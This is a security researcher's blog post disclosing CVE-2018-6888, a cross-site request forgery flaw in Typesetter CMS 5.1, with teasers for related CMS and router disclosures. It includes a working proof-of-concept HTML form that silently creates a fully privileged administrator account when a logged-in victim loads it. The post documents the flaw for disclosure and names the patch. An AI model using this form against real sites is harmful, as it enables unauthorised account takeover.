Cross Site Request Forgery- Type Setter CMS 5.1-CVE-2018-6888

-

Hi Readers,


Recently while performing some open source security assessment, I came across an CMS “ Typesetter” CMS. Curious to explore its functionalities, I set up a local copy and started playing around to find security vulnerabilities’. 

Title of the Vulnerability:  Cross Site Request Forgery.
Vulnerability Class: Remote Code Execution/ Account takeover
Technical Details & Description: The application source code is coded in a way which allows malicious crafted HTML page to be executed directly without any anti csrf countermeasures.
CVE ID allocated:  CVE-2018-6888
Product & Service Introduction: TypeSetter 5.1

Steps to Re-Produce –
1.       Visit the application
2.       Visit the User Permissions Page.
3.        Goto add user, and create a csrf crafted exploit for the same , upon hosting it on a server and sending the link to click by victim, it gets exploited.
Exploitation Technique: A attacker can perform application modification to complete account takeover.
Severity Level: Critical
Security Risk:
The presence of such a risk can lead to user data compromise as well as account takeover
Exploit code:
<html>

  <body>
    <form action="http://localhost/cms/Admin/Users" method="POST">
      <input type="hidden" name="verified" value="475f10871b08f44c20dab5bc2cb55d17946e6c98fa8abf28c64a5a9dab0ee2e122fefcc29cae9cc2e48daf564bfe55665e26b2b2174dee14e83c5e6974cf3218" />
      <input type="hidden" name="username" value="samrat&#95;test" />
      <input type="hidden" name="password" value="sam9318" />
      <input type="hidden" name="password1" value="sam9318" />
      <input type="hidden" name="algo" value="password&#95;hash" />
      <input type="hidden" name="email" value="sam9318&#64;gmail&#46;com" />
      <input type="hidden" name="grant&#95;all" value="all" />
      <input type="hidden" name="cmd" value="newuser" />
      <input type="hidden" name="aaa" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affected Product Version: 5.1
Solution - Fix & Patch: The application code should be configured with an anti csrf token to mitigate the issue of Cross Site request forgery.





Comments

  1. Unknown7 May 2018 at 00:47

    The blog article very surprised to me! Your writing is good related to personal care In this I learned a lot! Thank you!, please checkout more information on Lotus Notes xpages Consultant

    ReplyDelete

Post a Comment

Popular posts from this blog

Stored XSS in Wonder CMS- CVE-2017-14522

-
Image
By- Samrat Das Hi Readers Recently in one of my pentest research, I found a CMS " WonderCMS" hosted in github. Curious to explore its functionalities, I downloaded and set it up in my local system. After fiddling with the source code, I found that it did not have any kind of security mechanism to filter any user input and accepted and stored in blindly without any sort of input validation Title of the Vulnerability:   Stored XSS Common Vulnerability Scoring System:  7.0 Vulnerability Class:  Injection Technical Details & Description:  The application source code is coded in a way which allows user input values to be stored and processed by the application. CVE ID allocated :  CVE-2017-14522 Product & Service Introduction:  Wonder CMS 2.3.1 WonderCMS is an open source CMS (Content Management System) built with PHP, jQuery, HTML and CSS (Bootstrap responsive). WonderCMS doesn't require any configuration and can be si...
Read more

Host Header Injection In Wonder CMS - CVE-2017-14523

-
Image
By- Samrat Das Hi Readers Recently in one of my pentest research, I found a CMS " WonderCMS" hosted in github. Curious to explore its functionalities, I downloaded and set it up in my local system. After fiddling with the source code, I found that it did not have any kind of security mechanism to filter the host redirections based on the HTTP header. Using this it became possible to perform host header injection attack. Title of the Vulnerability:   Host Header Injection Common Vulnerability Scoring System:  7.0 Vulnerability Class:  Injection Technical Details & Description:  The application source code is coded in a way which allows arbitrary host header to be defined leading to redirection/ user url manipulation CVE ID allocated :  CVE-2017-14523 Product & Service Introduction:  Wonder CMS 2.3.1 WonderCMS is an open source CMS (Content Management System) built with PHP, jQuery, HTML and CSS (Bootstrap responsive). ...
Read more

Cross Site Request Forgery- Intex Router N-150 | CVE-2018-12529

-
Image
By- Navina Asrani Hi Readers, Recently while tinkering with my wifi router, I was curious to find if it has possible loopholes and vulnerabilities. Curious to explore its functionalities, I started probing with the options. Title of the Vulnerability:   Cross Site Request Forgery Vulnerability Class: Code Execution/ Privilege Escalation Technical Details & Description: The firmware allows malicious request to be executed without verifying source of request. This leads to arbitrary execution with malicious request which will lead to the creation of a privileged user. CVE ID allocated: -  CVE-2018-12529 Product & Service Introduction: Intex Router Steps to Re-Produce – 1.        Visit the application 2.         Go to any router setting modification page and change the values, create a request and observe the lack of CSRF tokens. 3.        Cra...
Read more